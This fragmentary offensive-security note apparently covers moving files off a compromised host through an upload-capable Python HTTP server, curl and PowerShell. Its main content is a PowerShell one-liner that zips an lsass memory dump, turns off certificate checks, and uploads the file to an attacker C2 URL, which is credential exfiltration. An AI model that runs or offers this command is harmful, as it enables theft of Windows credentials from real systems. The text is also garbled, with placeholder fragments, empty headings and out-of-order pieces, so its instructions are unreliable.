Using Curl to POST data to SimpleHTTPServerWithUpload.py
SimpleHTTPServer#projectdiscovery-simplehttpserver
- Simple command for running
- Upload a file via curl upload-files-via-curl (Linux) or powershell download-uploading-files (Windows). Try to compress powershell first
- Windows
- Powershell
- Possible to convert to one-liner and execute
*
C:\Windows\system32>powershell "<b;e;l;o;w;>"
) * Unzip with7z x lsass.zip
Compress-Archive -LiteralPath C:\Windows\temp\lsass.dmp -DestinationPath C:\Windows\temp\lsass.zip [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} $uri='https://c2.attacker.com/lsass.zip' $uploadPath = 'C:\Windows\temp\lsass.zip' Invoke-RestMethod -Uri $uri -Method Put -InFile $uploadPath -UseDefaultCredentials"
- Possible to convert to one-liner and execute
*
Python3 SimpleHTTPServer
- Caveats
- Insecure communications (HTTP)
- Choose a server that accepts POST request and makes use of HTTPS
- Download
-
Modify listening port
- If you want to change the port that the script is listening to (by default 8000/tcp), use below to replace function "test". (i.e. 1337/tcp)
- From client-side
- Once SimpleHTTPServer is running then: (
python3 SimpleHTTPServerWithUpload.py
) - Linux
- Powershell